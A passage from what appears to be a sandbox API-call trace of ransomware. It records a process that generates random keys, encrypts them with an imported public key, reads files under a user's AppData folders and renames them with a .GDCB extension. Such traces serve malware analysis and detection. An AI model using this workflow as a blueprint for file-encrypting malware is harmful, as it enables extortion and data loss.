data\\microsoft\\windows\\notifications\\wpnidm\\f67a62c3.jpg.gdcb")) returned 1 [0206.550] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4540) returned 1 [0206.551] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0206.552] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0206.553] CryptGenRandom (in: hProv=0x5c4540, dwLen=0x10, pbBuffer=0x285d38c | out: pbBuffer=0x285d38c) returned 1 [0206.553] CryptReleaseContext (hProv=0x5c4540, dwFlags=0x0) returned 1 [0206.553] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4e48) returned 1 [0206.554] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0206.555] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0206.555] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285d358 | out: pbBuffer=0x285d358) returned 1 [0206.555] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0206.555] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4430) returned 1 [0206.557] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x50d18d0) returned 1 [0206.557] CryptGetKeyParam (in: hKey=0x50d18d0, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0206.557] CryptEncrypt (in: hKey=0x50d18d0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x6ba0000*, pdwDataLen=0x285d3a4*=0xc8, dwBufLen=0x800 | out: pbData=0x6ba0000*, pdwDataLen=0x285d3a4*=0x100) returned 1 [0206.557] GetLastError () returned 0x0 [0206.557] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0206.557] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4e48) returned 1 [0206.559] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x50d1910) returned 1 [0206.559] CryptGetKeyParam (in: hKey=0x50d1910, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0206.559] CryptEncrypt (in: hKey=0x50d1910, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x6bb0000*, pdwDataLen=0x285d3a8*=0xc8, dwBufLen=0x800 | out: pbData=0x6bb0000*, pdwDataLen=0x285d3a8*=0x100) returned 1 [0206.559] GetLastError () returned 0x0 [0206.559] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0206.559] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Notifications\\wpnidm\\f76d6757.jpg" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\notifications\\wpnidm\\f76d6757.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x514 [0206.561] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x6bc0000 [0206.562] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x6bd0000 [0206.563] ReadFile (in: hFile=0x514, lpBuffer=0x6bd0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d3e8, lpOverlapped=0x0 | out: lpBuffer=0x6bd0000*, lpNumberOfBytesRead=0x285d3e8*=0x1570, lpOverlapped=0x0) returned 1 [0206.571] VirtualAlloc (lpAddress=0x0, dwSize=0x1570, flAllocationType=0x3000, flProtect=0x4) returned 0x6ce0000 [0206.576] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Notifications\\wpnidm\\f76d6757.jpg" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\notifications\\wpnidm\\f76d6757.jpg"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Notifications\\wpnidm\\f76d6757.jpg.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\notifications\\wpnidm\\f76d6757.jpg.gdcb")) returned 1 [0206.580] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4e48) returned 1 [0206.582] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0206.583] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0206.583] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285d38c | out: pbBuffer=0x285d38c) returned 1 [0206.583] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0206.583] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4430) returned 1 [0206.584] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0206.586] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0206.586] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x20, pbBuffer=0x285d358 | out: pbBuffer=0x285d358) returned 1 [0206.586] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0206.586] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4430) returned 1 [0206.588] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x50d1e90) returned 1 [0206.588] CryptGetKeyParam (in: hKey=0x50d1e90, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0206.588] CryptEncrypt (in: hKey=0x50d1e90, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x6ba0000*, pdwDataLen=0x285d3a4*=0xc8, dwBufLen=0x800 | out: pbData=0x6ba0000*, pdwDataLen=0x285d3a4*=0x100) returned 1 [0206.589] GetLastError () returned 0x0 [0206.589] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0206.589] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4540) returned 1 [0206.590] CryptImportKey (in: hProv=0x5c4540, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x50d1d50) returned 1 [0206.590] CryptGetKeyParam (in: hKey=0x50d1d50, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0206.590] CryptEncrypt (in: hKey=0x50d1d50, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x6bb0000*, pdwDataLen=0x285d3a8*=0xc8, dwBufLen=0x800 | out: pbData=0x6bb0000*, pdwDataLen=0x285d3a8*=0x100) returned 1 [0206.591] GetLastError () returned 0x0 [0206.591] CryptReleaseContext (hProv=0x5c4540, dwFlags=0x0) returned 1 [0206.591] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Notifications\\wpnidm\\f7f275e5.jpg" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\notifications\\wpnidm\\f7f275e5.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x514 [0206.592] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x6bc0000 [0206.594] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x6bd0000 [0206.595] ReadFile (in: hFile=0x514, lpBuffer=0x6bd0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d3e8, lpOverlapped=0x0 | out: lpBuffer=0x6bd0000*, lpNumberOfBytesRead=0x285d3e8*=0x1d40, lpOverlapped=0x0) returned 1 [0206.603] VirtualAlloc (lpAddress=0x0, dwSize=0x1d40, flAllocationType=0x3000, flProtect=0x4) returned 0x6ce0000 [0206.607] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Notifications\\wpnidm\\f7f275e5.jpg" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\notifications\\wpnidm\\f7f275e5.jpg"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Notifications\\wpnidm\\f7f275e5.jpg.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\notifications\\wpnidm\\f7f275e5.jpg.gdcb")) returned 1 [0206.611] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4e48) returned 1 [0206.613] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0206.614] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0206.614] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285d38c | out: pbBuffer=0x285d38c) returned 1 [0206.614] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0206.614] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4e48) returned 1 [0206.615] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0206.616] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0206.616] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285d358 | out: pbBuffer=0x285d358) returned 1 [0206.616] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0206.616] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4430) returned 1 [0206.618] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x50d1dd0) returned 1 [0206.618] CryptGetKeyParam (in: hKey=0x50d1dd0, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0206.618] CryptEncrypt (in: hKey=0x50d1dd0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x6ba0000*, pdwDataLen=0x285d3a4*=0xc8, dwBufLen=0x800 | out: pbData=0x6ba0000*, pdwDataLen=0x285d3a4*=0x100) returned 1 [0206.619] GetLastError () returned 0x0 [0206.619] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0206.619] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4e48) returned 1 [0206.620] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x50d1e10) returned 1 [0206.620] CryptGetKeyParam (in: hKey=0x50d1e10, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0206.620] CryptEncrypt (in: hKey=0x50d1e10, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x6bb0000*, pdwDataLen=0x285d3a8*=0xc8, dwBufLen=0x800 | out: pbData=0x6bb0000*, pdwDataLen=0x285d3a8*=0x100) returned 1 [0206.621] GetLastError () returned 0x0 [0206.621] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0206.621] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Notifications\\wpnidm\\fb970b75.jpg" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\notifications\\wpnidm\\fb970b75.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x514 [0206.622] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x6bc0000 [0206.623] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x6bd0000 [0206.624] ReadFile (in: hFile=0x514, lpBuffer=0x6bd0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d3e8, lpOverlapped=0x0 | out: lpBuffer=0x6bd0000*, lpNumberOfBytesRead=0x285d3e8*=0x2700, lpOverlapped=0x0) returned 1 [0206.638] VirtualAlloc (lpAddress=0x0, dwSize=0x2700, flAllocationType=0x3000, flProtect=0x4) returned 0x6ce0000 [0206.643] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Notifications\\wpnidm\\fb970b75.jpg" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\notifications\\wpnidm\\fb970b75.jpg"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Notifications\\wpnidm\\fb970b75.jpg.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\notifications\\wpnidm\\fb970b75.jpg.gdcb")) returned 1 [0206.647] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4980) returned 1 [0206.648] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0206.649] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0206.649] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x10, pbBuffer=0x285d38c | out: pbBuffer=0x285d38c) returned 1 [0206.649] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0206.649] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4980) returned 1 [0206.651] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0206.651] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0206.651] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x20, pbBuffer=0x285d358 | out: pbBuffer=0x285d358) returned 1 [0206.652] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0206.652] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4e48) returned 1 [0206.654] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x50d1990) returned 1 [0206.654] CryptGetKeyParam (in: hKey=0x50d1990, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0206.654] CryptEncrypt (in: hKey=0x50d1990, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x6ba0000*, pdwDataLen=0x285d3a4*=0xc8, dwBufLen=0x800 | out: pbData=0x6ba0000*, pdwDataLen=0x285d3a4*=0x100) returned 1 [0206.654] GetLastError () returned 0x0 [0206.654] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0206.654] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4e48) returned 1 [0206.656] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x50d1d10) returned 1 [0206.656] CryptGetKeyParam (in: hKey=0x50d1d10, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0206.656] CryptEncrypt (in: hKey=0x50d1d10, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x6bb0000*, pdwDataLen=0x285d3a8*=0xc8, dwBufLen=0x800 | out: pbData=0x6bb0000*, pdwDataLen=0x285d3a8*=0x100) returned 1 [0206.656] GetLastError () returned 0x0 [0206.656] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0206.656] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Notifications\\wpnidm\\fc14e05c.jpg" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\notifications\\wpnidm\\fc14e05c.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x514 [0206.658] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x6bc0000 [0206.659] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x6bd0000 [0206.660] ReadFile (in: hFile=0x514, lpBuffer=0x6bd0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d3e8, lpOverlapped=0x0 | out: lpBuffer=0x6bd0000*, lpNumberOfBytesRead=0x285d3e8*=0x1760, lpOverlapped=0x0) returned 1 [0206.668] VirtualAlloc (lpAddress=0x0, dwSize=0x1760, flAllocationType=0x3000, flProtect=0x4) returned 0x6ce0000 [0206.672] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Notifications\\wpnidm\\fc14e05c.jpg" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\notifications\\wpnidm\\fc14e05c.jpg"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Notifications\\wpnidm\\fc14e05c.jpg.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\notifications\\wpnidm\\fc14e05c.jpg.gdcb")) returned 1 [0206.695] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4e48) returned 1 [0206.697] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0206.698] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0206.698] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285d38c | out: pbBuffer=0x285d38c) returned 1 [0206.698] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0206.698] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4430) returned 1 [0206.699] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0206.700] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0206.700] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x20, pbBuffer=0x285d358 | out: pbBuffer=0x285d358) returned 1 [0206.700] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0206.700] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4430) returned 1 [0206.702] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x50d1ad0) returned 1 [0206.702] CryptGetKeyParam (in: hKey=0x50d1ad0, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0206.702] CryptEncrypt (in: hKey=0x50d1ad0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x6ba0000*, pdwDataLen=0x285d3a4*=0xc8, dwBufLen=0x800 | out: pbData=0x6ba0000*, pdwDataLen=0x285d3a4*=0x100) returned 1 [0206.702] GetLastError () returned 0x0 [0206.702] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0206.702] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4760) returned 1 [0206.704] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x50d1b90) returned 1 [0206.704] CryptGetKeyParam (in: hKey=0x50d1b90, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0206.704] CryptEncrypt (in: hKey=0x50d1b90, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x6bb0000*, pdwDataLen=0x285d3a8*=0xc8, dwBufLen=0x800 | out: pbData=0x6bb0000*, pdwDataLen=0x285d3a8*=0x100) returned 1 [0206.704] GetLastError () returned 0x0 [0206.704] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0206.705] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\PRICache\\1079934665\\2034961148.pri" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\pricache\\1079934665\\2034961148.pri"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x514 [0206.706] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x6bc0000 [0206.707] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x6bd0000 [0206.709] ReadFile (in: hFile=0x514, lpBuffer=0x6bd0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d3e8, lpOverlapped=0x0 | out: lpBuffer=0x6bd0000*, lpNumberOfBytesRead=0x285d3e8*=0x940, lpOverlapped=0x0) returned 1 [0206.717] VirtualAlloc (lpAddress=0x0, dwSize=0x940, flAllocationType=0x3000, flProtect=0x4) returned 0x6ce0000 [0206.721] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\PRICache\\1079934665\\2034961148.pri" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\pricache\\1079934665\\2034961148.pri"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\PRICache\\1079934665\\2034961148.pri.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\pricache\\1079934665\\2034961148.pri.gdcb")) returned 1 [0206.728] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4e48) returned 1 [0206.730] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0206.731] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0206.731] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285d38c | out: pbBuffer=0x285d38c) returned 1 [0206.731] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0206.731] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4e48) returned 1 [0206.732] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0206.733] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0206.733] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285d358 | out: pbBuffer=0x285d358) returned 1 [0206.733] CryptReleaseContext 